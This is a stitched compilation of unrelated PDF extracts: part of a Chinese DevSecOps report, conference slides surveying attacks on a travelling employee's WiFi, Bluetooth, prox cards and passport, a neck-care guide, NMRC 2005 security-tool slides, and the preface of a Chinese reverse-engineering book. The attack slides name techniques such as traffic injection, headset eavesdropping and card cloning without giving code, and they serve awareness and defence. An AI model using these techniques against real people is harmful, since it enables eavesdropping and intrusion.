插桩 Agent 追踪被测试应用程序在扫描期间的反应后,进行附加测试,将有关信息发送给管理服务器, 管理服务器展示安全测试结果。 ·功能测试人员在浏览器或者 APP 中设置代理,将 IAST 检测平台地址填入; ·功能测试人员开始功能测试,测试流量经过 IAST 检测平台,IAST 检测平台将流量复制一份,并且改造成安全 测试的流量; ·IAST 检测平台利用改造后的流量对被测业务发起安全测试,根据返回的数据包判断漏洞信息。 61 2.2 2020 年十大热点新闻事件 GitLab 发布 2020 年 DevSecOps 年度调查报告 2020 年 5 月,GitLab 发布了其第四次 DevSecOps 年度调查报告,来自全球 21 个国家 / 地区的 3,650 名受访 者接受调查。报告揭示了随着越来越多的团队采用 DevOps,整个软件开发团队的角色已经发生了变化。由于 DevOps 采用和实施新工具的比率不断提高,导致开发人员,安全和运营团队的工作职能,工具选择和组织结 构图发生了巨大变化。对于开发人员,运营和安全团队来说,这是一个瞬息万变的世界,对于角色和职责以及 改善 DevOps 实践并加快发布周期的技术而言,如果操作正确,DevOps 可以大大提高企业的利润,但要实现 真正的 DevSecOps 仍然有许多障碍需要克服。 Gartner 发布《2020 年度 Gartner 应用安全测试关键能力》 2020 年 4 月,Gartner 发布《2020 年度 Gartner 应用安全测试关键能力》报告,该报告从 5 个常见使用场景 方面对供应商产品进行评分:DevOps/DevSecOps、企业、云原生应用、面向公众的 Web 应用程序、移动和 客户端,通过该报告,能够了解其中评估的关键能力如何映射到企业的需求以及各供应商在每个方面的得分情 况。报告指出:“Gartner 观察到 AST 市场演变的主要驱动力是对企业 DevOps 计划需求的支持。客户需要提 供商能提供高保证、高价值结果的产品同时,该产品又不必放慢开发工作。客户期望产品能够在开发过程中更 早适应,测试通常由开发人员而不是安全专家来驱动。” 62 FreeBuf 咨询发布《2020 DevSecOps 企业实践白皮书》 2020 年 7 月,FreeBuf 咨询邀请《研发运营一体化(DevOps)能力成熟度模型》部分编者及国内 DevSecOps 实践先行者携程、腾讯及某国内知名金融机构等分别从 DevSecOps 工具链及企业落地实践等方面深入探索研 究,共同输出一份 DevSecOps 企业实践白皮书,为企业 CSO 提供安全建设的有效参考。 云计算开源产业联盟发布《研发运营安全白皮书 2020 年》 2020 年 7 月,云计算开源产业联盟发布《研发运营安全白皮书 2020 年》,该白皮书由中国信息通信研究院牵 头,华为、腾讯、阿里云、浪潮云、京东云、金山云、奇安信等公司联合编制。该白皮书旨在用系统化、流程 化方法梳理软件应用服务研发运营全生命周期安全及发展趋势,帮助从业者提升对软件应用服务研发运营安全 的理解。 63 信通院牵头制定《研发运营一体化(DevOps)能力成熟度模型》 2020 年 7 月,全球首个 DevOps 标准,即《研发运营一体化(DevOps)能力成熟度模型》,由中国信息通信 研究院牵头,云计算开源产业联盟、高效运维社区、 DevOps 时代社区联合 Google、BATJ、清华大学、南京大学、 通信及金融等行业顶尖企事业单位专家共同制定。DevOps 标准评估体系主要包括敏捷开发管理、持续交付、 技术运营、应用架构、安全及风险管理、系统和工具等部分的评估。 中国联通与云计算开源产业联盟合作发布《中国DevOps现状调查报告(2020年)》 2020 年 8 月,中国联通与云计算开源产业联盟合作发布《中国 DevOps 现状调查报告(2020 年)》,调查活 动采用线上调查问卷的形式,以中国信息通信研究院牵头编制的《研发运营一体化(DevOps)能力成熟度模型》 系列标准为参考,聚焦中国 DevOps 实践成熟度现状,对 DevOps 转型现状、未来 DevOps 的发展、企业对政 策 / 资质的需求等情况进行了调查。反映企业对 DevOps 落地实践的需求,为广大关注 DevOps 的从业人员、 专家学者和研究机构提供真实可信的数据支撑。 64 DevSecOps 入选《2020 年中国网络安全十大创新方向》报告 2020 年 9 月,国家网络安全宣传周 -- 信息安全产业创新发展论坛上,北京赛博英杰有限公司董事长谭晓生正 式发布《2020 年中国网络安全十大创新方向》报告。DevSecOps 入选《2020 年中国网络安全十大创新方向》 报告十大创新方向。报告在发布的十大创新方向上选择了十家代表企业进行了列示,这些公司均具备一些共同 的特点。一是专注于相应领域的创新,通过持续投入不断提升产品能力;二是坚持自主创新,对应应用场景中 积累了较多成功案例;三是资本关注度较高,均已获得一轮或多轮融资,在细分赛道中处于第一梯队。 中国信息通信研究院牵头起草国内首个《开源供应链风险评估体系》标准 2020 年 10 月,中国信息通信研究院牵头起草国内首个《开源供应链风险评估体系》标准,联合农业银行、浦 发银行、工商银行、光大银行、宁波银行、腾讯、小米、华胜天成、普元信息、网神信息、中兴、华云数据、 金山云、悬镜安全、甲骨文、思特沃克、宝兰德、棱镜七彩、安恒信息、烽火等企业和组织专家共同编写。该 标准帮助开发企业和云服务商规范开源软件引入、开发和付流程和制度、帮助企业降低开源供应链风险。标准 规定了软件开发企业从开源软件引入到交付的全流程中应该具备的五大能力:开源软件引入管理能力,开源软 件开发管理能力,软件外包管理能力,商用解决方案管理能力和软件交付物管理能力。这是国内首次对软件开 发企业的开源安全能力要求进行规范。 65 计世资讯(CCW Research)发布《2019-2020 年中国 DevOps 产品市场研究报告》 2020 年 10 月,计世资讯(CCW Research)发布《2019-2020 年中国 DevOps 产品市场研究报告》。报告中指出, DevOps 近些年来被广泛使用,一方面因为 DevOps 具有极高的应用价值,成功部署 DevOps 的企业,能实现 高效交付,缩短软件开发周期,而且能快速获取反馈,提升软件质量及稳定性;另一方面,国家大力发展云计 算基础设施建设,推动传统行业上云,为 DevOps 的实现提供了助力;而企业迫于竞争的压力,急需对市场作 出快速敏捷的响应,对 DevOps 产生较强的市场需求。在此背景下,DevOps 迎来发展良机。 中国信息通信研究院牵头起草《静态应用程序安全测试(SAST)工具能力要求》 及《交互式应用程序安全测试(IAST)工具能力要求》标准 2020 年 12 月,TC608 云计算标准和开源推进委员召开《静态应用程序安全测试(SAST)工具能力要求》及《交 互式应用程序安全测试(IAST)工具能力要求》标准启动会,来自中国信通院、联通云、腾讯、阿里云、华为、 悬镜、奇安信、默安、中电、新思、铁塔、华云、普元、华大等 14 家企业和组织的 24 位专家通过线上形式进 行研讨。会议针对《静态应用程序安全测试(SAST)工具能力要求》及《交互式应用程序安全测试(IAST) 工具能力要求》标准范围及框架内容进行了深入的探讨,确定了标准的范围及框架,针对扫描分析能力、扩展 性能力、安全性要求等八大部分内容进行了激烈讨论,形成了初步的意见。 66 3 发展趋势 67 3.1 2021 年 DevSecOps 实践趋势预测 3.1.1 IAST 继续保持高速增长 根据早先 Industry Research 发布的数据显示,交互式应用程序安全性测试(IAST)预计将以 27.58%的复合年 增长率增长,是 AST 类型产品中,增长最快的品类。 Gartner 2019 年 4 月发布的报告调查数据显示,应用安全测试市场预计将以 10% 的复合年增长率增长,这仍 是信息安全领域中快速增长的部分。到 2019 年底,AST 的市场估计达到 11.5 亿美元,市场规模占比超过应用 安全总体市场规模的三分之一,且主打 DevSecOps 理念的安全公司也多以 IAST 为基础开展业务。 对 IAST 高速增长的预期并非无的放矢,随着近年来敏捷开发的高速发展,节奏上可以与之匹配的敏捷安全逐 渐受到了用户的关注。而 IAST 技术本身有着实时检测(不额外消耗检测时间)、超低误报率(节省排查误报 的时间)、可以定位到具体代码行(减少分析代码的时间)等特点,是当前支撑敏捷安全的首选工具。 在市场中我们观察到,信息化程度较高且对信息安全重视程度较高的银行、证券、能源、互联网等行业的头部 机构,很多已在 2020 年完成了 IAST 产品的采购或自研。但数量更为庞大的城市乡镇银行、中小型证券公司、 中小型互联网厂商等安全建设相对滞后的机构,依旧存在对 IAST 产品的大量潜在需求,并且很多机构已启动 IAST 建设项目的预研工作。随着 IAST 产品在行业头部机构的顺利落地,其它机构必定会参考学习其成功经验, 从而在 2021 年带动起一波更高的 IAST 建设浪潮。 3.1.2 OSS 开源治理成为新的热点 近年来,伴随着科技产业的发展,开源一词大行其道,这也预示着“开源”这一概念已经从幕后走向了台前。 对企业而言,开源技术已经成为构建业务信息系统的关键技术来源,能够助力企业站在巨人肩膀上,避免资源 浪费、实现快速创新和产品迭代。开源,无处不在;风险,如影随形。所以,企业们纷纷构建起内部开源治理 体系,各大软件供应商也逐渐加入到了开源技术、开源软件及产品的研发行列中来。 在当今复杂而多变的商业环境中,业务团队无法接受速度的迟滞,在研发效率和编码速度的考量下,几乎所有 的软件应用都基于第三方的组件、开源代码、通用函数库实现。随之而来又经常被忽视的是:绝大多数应用程 序都包含开源组件风险 。实际上 ,超过 70% 的应用在初步检测时就会被发现其存在开源组件漏洞 ,而最终的 68 安全形势日益严峻,用户痛点也随之凸显: ·开源漏洞风险不可知:不了解目前使用的开源软件中存在多少已知安全漏洞和知识产权风险。 ·安全技术能力不全面:针对开源软件安全漏洞,企业缺少评估和修复能力。 ·开源组件使用情况不清晰:企业不清楚系统中使用了多少开源软件,以及哪些开源组件。 ·快速精准定位漏洞能力弱:企业在开源软件或组件出现漏洞时,无法快速定位到漏洞组件的影响范围,并及 时止损,禁止漏洞组件下载。 展望 2021,在各种组织的 DevSecOps 实践中,会更加注重开源风险的检测与治理,构建新一代开源威胁综合 管控平台势在必行。 检测结果,存在开源组件漏洞的软件应用比例超过 90%。我们不应一再忽视如此显而易见而又影响广泛的风险。 3.1.3 RASP 出厂免疫迎来革新发展 我们关注到,Gartner 在 2014 年就正式提出 RASP(Runtime application self-protection) 技术,作为一种新型 运行时应用程序自我保护的安全技术,它基于应用插桩技术,将主动防御能力“ 注入”到应用程序中,与应用 程序融为一体,使应用程序具备自我免疫能力,当应用程序遭受到实际攻击伤害时,能实时自动化检测和阻断 安全攻击。 RASP 与传统的基于流量监测的安全防护技术相比,优势在于可以忽略各种绕过流量检测的攻击方式(如分段 传输,编码等),只关注功能运行时的传参是否会真正产生安全威胁,它更了解应用程序上下文,更方便定位 漏洞信息,且更少的误报和漏报;但缺点在于 RASP 技术比较依赖应用软件的编程语言,并会对服务器的性能 和业务稳定性造成一定影响,推动部署落地相对困难。 不过随着 DevSecOps 理念的普及,网络安全已从边界安全到主机安全、再到应用安全的发展演进,我们预判 下一代应用安全重心将是运行时安全。借助于云原生相关技术的支撑,RASP 技术通过与 IAST 技术的融合,将 会提供更优雅更易于接受和使用的部署方案,能够带来兼具业务透视和功能解耦的内生主动安全免疫能力,为 业务应用出厂默认安全提供更加接地气的创新解决方案。 69 A BRIEF HISTORY OF APPLICATION SECURITY AUTOMATION Development (find vulnerabilities) Operations (block attacks) SAST (Static AppSec Testing) IAST (Interactive AppSec Testing) RASP (Runtime Application Self-Protection) DAST (Dynamic AppSec Testing) WAF (Web Application Firewall) IDS/IPS ( Intrusion Detecation /Prevention System) 2002 2012 2002 2014 Unified Agent IAST and RASP RASP 和 IAST 的区别和联系 结语 CONCLUSION 近年来数字经济、互联网软件技术飞速发展,与之相关的信息安全问题备受关注。本 报告调查篇中82%的受调研对象来自于互联网/软件、金融服务行业,虽然越来越多的企 业意识到安全先行于业务,大多数开发人员都已经认识到应用安全的重要性,并且将安全 在企业DevOps中进行落地实践,但是仍有90%的企业并未应用DevSecOps,将安全贯穿 于整个软件应用生命周期中,任重而道远。 我们希望通过这份行业洞察报告,能够更好地了解企业如何进行研发流程及安全的 结合,同时他们克服了哪些困难,以及他们优先考虑的方法。同时,我们也要了解行业的总 体发展态势,以及未来的发展趋势。 今年我们看到很多令人欣喜的改变,DevSecOps已在很多行业的头部机构中落地, 更多厂商则正在跃跃欲试,准备加入DevSecOps实践者之列。目前,虽然多数机构的实践 成熟度还有很多改善的空间,但就像管理大师理查德帕斯卡尔所说的“成熟的人更倾向于 先做而后产生新的想法,而不是先想再以一种新的方式去做。”在DevSecOps这一待探索 完善的领域中,拙略的实践永远比完美的理论有价值的多。 整个信息产业发展到今天,软件系统日益庞大复杂,从业人员日益增多。单纯的依靠 安全岗位这一角色来保证研发的系统不出现安全问题是很不现实的,这也是为何业界不 断的爆出黑客入侵、数据泄露等安全事件的本质原因。当下,安全不仅仅是安全工程师的 责任,而应该成为一个组织整体的最高目标之一,需要每一个工程师的参与。安全和研发 团队都要参与到DevSecOps研发模式的不断建设和优化中来,不断的推进DevSecOps理 论和工具链的向前发展,不断的提供更好更便利的安全能力并且尽可能的通过自动化、自 助化等方式为研发工程师赋能,使大家都能够承担起应有的安全责任,才能进行更好的安 全管控。 最后,感谢接受编辑团队访谈和调查的行业专家及实践者们。希望我们一同努力,在 2021年通过更完善的DevSecOps的实践方法让应用软件更安全。 出品人 董毅 2020年12月 引用参考 [1] Sam Olyaei, Peter Firstbrook, Brian Reed,Prateek Bhajanka, Neil MacDonald, Top 10 Security Projects for 2019[R].Gartner,2019. [2] Kasey Panetta,Gartner Top 7 Security and Risk Trends for 2019 [R].Gartner, 2019 [3] Neil MacDonald, Seven Imperatives to Adopt aCARTA Strategic Approach[R].Gartner, 2018. [4]Veracode.《State of Software Security Open Source Edition》[R].:Veracode,2020. [5]Synopsys.《DevSecOps Practices and Open Source Management in 2020》[R].:Synopsys,2020. [6]Sonatype.《2019 State of the Software Supply Chain》[R].:sonatype,2019. [7]Ernest Mueller.What Is DevOps? [EB/OL]. https://theagileadmin.com/what-is-devops/,2010-08-02. [8]Shannon Lietz. What is DevSecOps? [EB/OL]. https://www.devsecops.org/blog/2015/2/15/what-is-devsecops,2015-06-01. [9]Ian Head, Neil MacDonald.DevSecOps: How to Seamlessly Integrate Security Into DevOps[EB/OL]. https://www.gartner.com/en/documents/3463417/devsecops-how-to-seamlessly-integrate-security-into- devo,2016-09-30 [10]GSA.DevSecOps Guide[EB/OL]. https://tech.gsa.gov/guides/dev_sec_ops_guide/,. [11]Chris Taschner.Container Security in DevOps[EB/OL]. https://insights.sei.cmu.edu/devops/2015/06/container-security-in-devops.html,2015-6-25. [12]Shannon Lietz.Principles of DevSecOps[EB/OL]. https://www.devsecops.org/blog/2015/2/21/principles-of-devsecops,2015-2-22. [13] 中国信息通信研究院 .《研发运营安全白皮书(2020 年)》[R]. 北京 : 中国信息通信研究院 ,2020. [14]FreeBuf 咨询 .《2020 DevSecOps 企业实践白皮书》[R]. 上海 :FreeBuf 咨询 ,2020. [15] 中国信息通信研究院 .《研发运营一体化(DevOps)能力成熟度模型》标准 [R]. 北京 : 中国信息通信研究 院 ,2018. [16] 中国银行保险报 .《金融行业网络安全白皮书 (2020 年 )》[R]. 北京 : 中国银行保险报 ,2020. [17] 云计算开源产业联盟 .《中国 DevOps 现状调查报告 (2020 年 )》[R]. 北京 : 云计算开源产业联盟 ,2020. [18] 范世强 . 滴滴 SDL 体系建设 范世强 [R]. 北京 : 滴滴出行 ,2020. [19]Sammy Migues、John Steven 、 Mike Ware.《软件安全构建成熟度模型 BSIMM11》[R]. 北京 :BSIMM,2020. [20] 悬镜安全 . 从 RSAC 看 DevSecOps 的进化与落地思考 [EB/OL] https://4m.cn/dxfpa,2020-03-02. [21] 程度 . DevSecOps 发展历程与解决方案探讨 [EB/OL] https://www.secrss.com/articles/10531,2019-05-09. [22] 网络安全与网络战 .DevSecOps: 安全软件开发的系统方法 [EB/OL]. https://mp.weixin.qq.com/s/RxolNFpFSVHvAVAceeRLtw,2019-12-30. [23]36 氪 Pro. 年度行业研究|让软件开发敏捷又安全?看看 DevSecOps 吧 [EB/OL]. https://mp.weixin.qq.com/s/7PsIovrttAvqCyqOuX3wbQ,2020-11-17. [24] 信息安全国家工程研究中心 . 安全开发建设的实践与思考 [EB/OL]. https://mp.weixin.qq.com/s/zmoxqSUlUYYoyVatpfj3Ow,2020-9-23. 北京安普诺信息技术有限公司2020版权所有 出品方
pdf
“How can I pwn thee? Let me count the ways” RenderMan RenderLab.net & Church of Wifi [email protected] How can I pwn thee? ● Born out of conversations at SECTOR ● Workforce is increasingly mobile and wireless ● Mobile users are away from your watchful BOFH eye (and punishment) ● How do you educate them, protect your company, protect yourself ● By no means and exhaustive list ● Full Disclosure Meet Bob ● Bob works for widgets international ● Bob sells widgets ● Bob travels to customer sites ● Bob is your worst nightmare Bob ● Bob likes to think himself tech savvy ● Bob really just knows enough to get access to pr0n ● Bob is widgets internationals worst enemy ● Bob is also the worst case scenario Let me count the ways ● Let's pwn Bob ● We won't touch Bob, just abuse wireless communication ● I.E. Bored hackers on long trips to a conference through international airports coming from another international conference in, say, Norway... WiFi Threats ● Bob has a laptop with tons of private company info ● Bob likes to connect to hotspots at airports, train stations, hotels ● Bob connects to anything – Linksys Global Network WiFi Threats ● Hotspots generally do not encrypt ● Cleartext = Clear to read = Clear to inject – Images, Scripts, DNS, etc ● No VPN = certain pwn'age ● No firewall + browsable shares = pillage! ● MiTM attacks, password snarf ● Defcon 15 Hotel net ● Attacker is on the local net ● Driver Vulns Norway experiment ● Airpwn inject 'alternate' images ● See if other continents were observant ● First image, not so much... First Image Norway Experiment ● Not many noticed ● A few scratched heads ● Lets up the ante ● Second image... Second Image They got the hint I didn't get punched in the face (yay!) WiFi Threats ● Karma, Hotspotter, Metasploit ● Hacking the friendly skies ● Cafe Latte exploit, recover company WEP keys ● De-auth headaches ● If it's on, it's probably pwn'able Stopping WiFi Threats ● Disable Wifi when not in use ● Connect to network but use VPN for everything ● Assume your being attacked ● Don't trust customer nets either ● Turn on Firewall ● Be cautious ● TOR solves a fair number of problems in a pinch Bob's Phone ● Bob lives on his cell phone ● Bob loves his Bluetooth headset ● Uses cell phone for SMS One Time Pads ● Keeps the companies private directory in his phone book Bluetooth Threats ● If Bob's phone is on discoverable with default PIN, anyone can connect ● Paired devices get access to whole device ● Read/Write SMS, Phonebook, notes, images ● Remote AT commands on some models ● Premium rate calls ● Bob has to explain 9 hour call to Madame whipsalot's fun time party line on the company phone Bluetooth Threats Apologies to Major Malfunction Bluetooth Threats ● Bob's headset uses default PIN ● Bluebump and re-pair ● Listen to conversations ● Inject audio (car whisperer) ● Boardroom bug ● Make Bob think he's crazy It is god! I Hate Headsets Eavesdropping on Headsets Pwn'ing Bobs Wife ● While rummaging through Bob's phone, we make a discovery ● Some things should not be wirelessly enabled ● 'Special' SMS messages on Bobs phone, start sending on his behalf to his wife ● It's not discoverable but... ● Who thought this was a good idea? 'The Toy' 'The Toy' ● Bluetooth enabled vibrator, 'reacts' to special SMS messages when paired to a compatible phone ● Each character has it's own reaction ● thetoy.co.uk Get the Innuendo out of the way ● 'Penetration Test' ● 'Rooting the Box without a trojan' ● 'Reach out and touch someone' ● 'Can you hear me now?' ● I can't wait to find one on a site survey..... 'The Toy' ● Teledildonics really needs some lessons in security ● An extreme example of a generally bad idea ● Serious implications here ● If Bob is not sending the messages, is it rape? ● Could non-printable characters cause potentially dangerous actions of the device? ● Seems funny, but is quite serious Stopping Bluetooth threats ● Turn off Bluetooth or just discoverability ● Change default PIN ● If possible, limit access to paired devices ● Prompt for pairing ● Turn off headsets when not in use ● Consider the security implications of your devices Bob's Keys ● Bob has a proximity card key for the office ● Card is on a lanyard with his ID badge ● Wears it all the time ● See Johnny Long's 'No Tech Hacking' talk Keying Bob ● Most common prox cards are not encrypted ● cq.cx - DIY prox card cloner ● Copy the key for later use Keying Bob ● Traditional keys vulnerable too ● Photo can reveal bitting, keyway ● Diebold web store for spare keys ● Common office furniture key, copied from photo Keying Bob Bob's Passport Bob's Passport ● New RFID passports can be easily read ● Encryption not very strong ● Even US “Tin Foil Hat” doesn't work well Bob's Passport Bob's other Duties ● Bob occasionally works trade shows ● Bob's sales depend on demo widgets being operational ● What happens when you have widgets that accept unauthenticated commands? ● Don't try this at home..... Gizmodo at CES 2008 Bob's other Duties ● USB Switchblade, pwn the demo laptop ● Shmoocon 2007, unnamed vendor laptop – Was a marketing laptop, no company passwords – Right place, right time, Right Tool – I'm dangerous when bored Bob's pwn'd ● Pwn'd his laptop ● Pwn'd his data ● Pwn'd his cellphone ● Pwn'd his wife! ● Pwn'd his keys ● Pwn'd his demo's ● Pwn'd his ability to work Bob is Pwn'd ● Suggestions of your own? ● Mobile workforce education ● What are you doing to help them help themselves? Have you got any suggestions? ● Blackberry a different beast but worth exploring ● Wireless presentation mics? ● Wideband jamming? Game Over Questions, comments, accusations? [email protected] Huge, gargantuan, mega thanks to Rob T Firefly for the Bob illustrations
pdf
頸椎呵護指北 超機密 第2次雞友核心群報告書 Plan zur Komplementarität der Menschheit 1.Zwischenbericht 目录 颈椎病的危害和衍生症状 简单实用的颈椎呵护操 工作台的配置方案 借助外力的放松颈椎方式 颈椎病的危害和衍生症状 • 1、颈椎病是由于椎骨受颈脖四面的水肿压迫而导致的身体其他部位与颈部与头部的供血不 足,经常会引起头晕、头疼、颈椎酸疼、骨刺等常见症状,这直截影响到对身体的损害。 • 2、神经根型颈椎病患者通常情况下会有颈部疼痛的症状。咳嗽、喷嚏、或上肢伸展以及颈 部过屈、过伸等,都会引起疼痛加剧。 • 3、颈部疼痛是神经根型颈椎病的主要临床表现,疼痛多表现为钻痛或刀割样痛,也可以是 持续性隐痛或酸痛。并且,颈部的疼痛还可能放射至手臂、手指,给患者带来痛苦。 • 4、神经根型颈椎病患者在急性发作时,部分的患者会在患侧有手指指端麻痹的感觉,并且 会有上肢的放射性疼痛的感觉,疼痛会在夜间时加重, 严峻影响了患者的睡眠。有很多的 患者经常感觉到严峻失眠,半夜颈椎疼痛难忍,躺着根本睡不着,有时候就是坐在沙发睡 一晚。所谓打蛇打七寸,而颈椎却恰恰在身体的七寸,颈椎一旦出现问题,全身都随着不 舒适 • 5、颈椎病严峻者可造成亚健康,有时候还会引起对身体的早衰、心烦、记忆力减退、眩晕、 耳鸣等,严峻的影响到了人们的生活质量。 • 6、部分的神经根型颈椎病患者会有颈部僵直的症状,并且会在棘突、棘旁或肩胛骨部位有 压痛。 颈椎呵护操(放松颈椎、胸椎、腰椎) 颈椎呵护操 颈椎呵护操 颈椎呵护操 颈椎呵护操 颈椎呵护操 工作台配置 显示器(垫高到平视是显示器的中间 位置) 桌子和椅子的配比基本是正常的放松 坐下的时候不弯腰就是最好的 椅子和桌子不易太高,因为要保证你 的腿在放松状态下可以正常的踩在地 面上 颈椎放松 • SKG按摩仪(电疗) • 按摩枕与物理按摩仪 • 选一个好枕头(一般的高度是自己握 拳的厚度,乳胶枕较为舒服) • 去正规的按摩店按摩(但是如果是病 理性难受不要随便按摩!病理性就要 去看医生!按摩只能够缓解疲惫并不 能治病!) END TOP SECRET
pdf
The NMRC The NMRC Warez Warez 2005 2005 Extravaganza Extravaganza DefCon DefCon 2005 2005 nnomad omad m mobile obile rresearch esearch ccentre entre “With just a few keystrokes, cybercriminals around the world can disrupt our economy.” - Ralph Basham, Director of the U.S. Secret Service at RSA 2005. “With just a few keystrokes, pundits can disrupt our freedoms.” - Daaih Liuh, NMRC, 2005 “With just a few keystrokes, I can turn those pundits off and watch porn instead.” – jrandom, NMRC, 2005 Who We Are Who We Are On To The On To The Warez Warez… ….. Updated Updated Ncrypt Ncrypt • New features and bug fixes – Includes Todd MacDermind’s nrm, a drop-in replacement for rm for secure file erasure – More features for script integration (the users demanded it!) Stronghold • For Windows 2000, XP, 2003 • Locks down the box – Implements the NIST standards for securing Windows • Rollback feature • GPL, and it’s freeware, feel the love Stronghold Analyzer • For Windows 2000, XP, 2003 • Like Stronghold, it uses NIST standards for securing Windows • Shows security holes that exist in Windows that Stronghold will secure • GPL, and it’s freeware, feel even more love Stronghold / Stronghold Stronghold / Stronghold Analyzer Demo Analyzer Demo SPA • SPA is Single Packet Authentication, a single packet that can authenticate a user to a system • It is a protocol for allowing a remote user to authenticate securely on a “closed” system (limited or no open services) • Uses GPG to sign/encrypt a message to a sniffing server in a single TCP, UDP, or ICMP packet • Work across NAT • Free SPA Demo SPA Demo NPC • NPC is Nearly Perfect Crypto. Seriously…. • It includes a utility for creating large one time pads (using the PRNG ISAAC) • Fast, simple and quick • If you can manage the key exchange, it is nearly the most perfect and unbreakable crypto you can get (one time pads are considered the ultimate crypto) – Key management is a bitch, and may render this impractical for modern humans NPC Demo NPC Demo Q & A Q & A • We will spank audience members during the Q & A • You must sign our Ass Release Form before you can be spanked • You may choose any NMRC member to spank you • If you do not choose a particular NMRC hacker to spank you, the NMRC hacker answering the question will spank you while giving the answer FIN, FIN, Biatchez Biatchez Images © 2005 NMRC www.nmrc.org
pdf
分类建议: 计算机/软件开发/安全 人民邮电出版社网址:www.ptpress.com.cn 上册 上册 逆向工程权威指南 逆 向 工 程 权 威 指 南 逆向工程是一种分析目标系统的过程。 本书专注于软件逆向工程,即研究编译后的可执行程序。本书是写给初学者 的一本权威指南。全书共分为12个部分,共102章,涉及软件逆向工程相关 的众多技术话题,堪称是逆向工程技术百科全书。全书讲解详细,附带丰富 的代码示例,还给出了很多习题来帮助读者巩固所学的知识,附录部分给出 了习题的解答。 本书适合对逆向工程技术、操作系统底层技术、程序分析技术感兴趣的读者 阅读,也适合专业的程序开发人员参考。 “... 谨向这本出色的教程致以个人的敬意!” —— Herbert Bos,阿姆斯特丹自由大学教授 《Modern Operating Systems (4th Edition)》作者 “... 引人入胜,值得一读!” —— Michael Sikorski 《Practical Malware Analysis》的作者 作者简介 Dennis Yurichev,乌克兰程序员,安全技术专家。读者可以 通过https://yurichev.com/联系他,并获取和本书相关的更多 学习资料。 R e v e r s e E n g i n e e r i n g f o r B e g i n n e r s 权威指南 上册 [乌克兰] Dennis Yurichev◎著 Archer 安天安全研究与应急处理中心◎译 逆向工程 Reverse Engineering for Beginners Reverse Engineering Windows ARM iOS Linux Reversing 美术编辑:董志桢 ● 了解逆向工程的权威指南 ● 初学者必备的大百科全书 ● 安天网络安全工程师培训必读书目 FM43445逆向工程权威指南 上.indd 1-3 17-3-6 上午11:19 异步社区会员 dearfuture(15918834820) 专享 尊重版权 权威指南 上册 [乌克兰] Dennis Yurichev◎著 Archer 安天安全研究与应急处理中心◎译 逆向工程 Reverse Engineering for Beginners Reverse Engineering 人 民 邮 电 出 版 社 北 京 FM43445逆向工程权威指南 上.indd 4 17-3-6 上午11:20 异步社区会员 dearfuture(15918834820) 专享 尊重版权 版 权 声 明 Simplified Chinese translation copyright ©2017 by Posts and Telecommunications Press ALL RIGHTS RESERVED Reverse Engineering for Beginners, by Dennis Yurichev Copyright © 2016 by Dennis Yurichev 本书中文简体版由作者 Dennis Yurichev 授权人民邮电出版社出版。未经出版者书面许可,对本书的任 何部分不得以任何方式或任何手段复制和传播。 版权所有,侵权必究。  著 [乌克兰] Dennis Yurichev 译 Archer 安天安全研究与应急处理中心 责任编辑 陈冀康 责任印制 焦志炜  人民邮电出版社出版发行 北京市丰台区成寿寺路 11 号 邮编 100164 电子邮件 [email protected] 网址 http://www.ptpress.com.cn 北京天宇星印刷厂印刷  开本:7871092 1/16 印张:61.5 彩插:1 字数:1 990 千字 2017 年 4 月第 1 版 印数:1 – 3 000 册 2017 年 4 月北京第 1 次印刷 著作权合同登记号 图字:01-2014-3227 号 定价:168.00 元(上、下册) 读者服务热线:(010)81055410 印装质量热线:(010)81055316 反盗版热线:(010)81055315 异步社区会员 dearfuture(15918834820) 专享 尊重版权 内 内 容 容 提 提 要 要 逆向工程是一种分析目标系统的过程,旨在识别系统的各组件以及组件间关系,以便能够通过其他形 式或在较高的抽象层次上,重建系统的表征。 本书专注于软件的逆向工程,是写给初学者的一本权威指南。全书共分为上、下两册,十二个部分, 共 102 章,涉及 X86/X64、ARM/ARM-64、MIPS、Java/JVM 等重要内容,详细解析了 Oracle RDBMS、Itanium、 软件狗、LD_PRELOAD、栈溢出、ELF、Win32 PE 文件格式、x86-64(critical sections、syscalls、线程本 地存储 TLS、地址无关代码(PIC)、以配置文件为导向的优化、C++ STL、OpenMP、SHE 等众多技术问 题,堪称是逆向工程技术百科全书。除了详细讲解,本书还给出了很多习题来帮助读者巩固所学的知识, 附录部分给出了习题的解答。 本书适合对逆向工程技术、操作系统底层技术、程序分析技术感兴趣的读者阅读,也适合专业的程序 开发人员参考。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 序 序 从 从逆 逆向 向视 视角 角透 透视 视代 代码 码大 大厦 厦的 的那 那些 些砖 砖石 石 相对于本书的中文名字《逆向工程权威指南》,我更喜欢它的英文原名《Reverse Engineering for Beginners》,可以直译为“逆向工程入门者必读”。在国外的程序员圈中,这本书被简称为《RE4B》,作者 的 Blog 式连载已经引发了持续关注和好评。 本书的重要特色在于其清晰的章节结构,涵盖了函数、语句、结构体、数组等这些构成代码大厦的基 本元素,如显微镜般逐一对比了这些元素在 X86、ARM 和 MIPS 体系架构下的“切片”影像。本书几乎每 个章节都按照 X86、ARM、MIPS 三个体系架构分别展开,可以让读者深入对比理解在三种体系架构下, 同样的指令、函数及数据结构呈现的异同和特点。无论对分析工程师,还是编码工程师来说,本书都是能 更深入理解代码大厦原材料的工作指南。这是基础性、系统性的文献工作,也是令人耳目一新的结构安排。 对于在中国传统高校计算机教育中,通过简单的 X86 ASM 来学习和了解体系结构的工程师来说,这也是 尽快打通 ARM、MIPS 知识背景的“全栈”指南。对于那些从各种破解教程来切入逆向领域的安全爱好者 来说,这更像是一份“正餐”。对于作者来说,我相信这个写作过程是充满激情的,但也充满了艰难和痛苦。 对于 Dennis 这样的逆向工程专家来说,这本书的写作过程,更多的不是在探索未知的世界,也不是对高级 技巧和经验的总结,而是要对看起来相对枯燥的单元式资料进行整理,将一些对其已经是常识的东西转化 为系统而书面化(并易于读者理解)的语言。 逆向工程一直被宣传为一种充满乐趣和带有神秘主义的技能,而逆向分析者的工作看起来更有乐趣的 原因,似乎就是在指令奔涌中逆流而上,绕开种种限制和保护,找到代码中的“宝藏”—错误、漏洞或 者是被加密算法层层掩盖的数据结构。这个由媒体所打造的形象,也为部分逆向爱好者所自矜。而这也导 致逆向领域的书籍和教程,更多地围绕着一些高阶的技巧展开,更多地讲解如何绕过加密和保护,却忘记 了逆向工程的初衷是要洞察系统及软件的整体结构和机理。由于之前的逆向领域相关出版物中缺少“代码 大全”式的基础读本,本书的完成填补了这一空白,然而,这不仅需要作者有高超的逆向研究能力,也要 有正向系统的思维和视野。 本书的译者之一 Archer 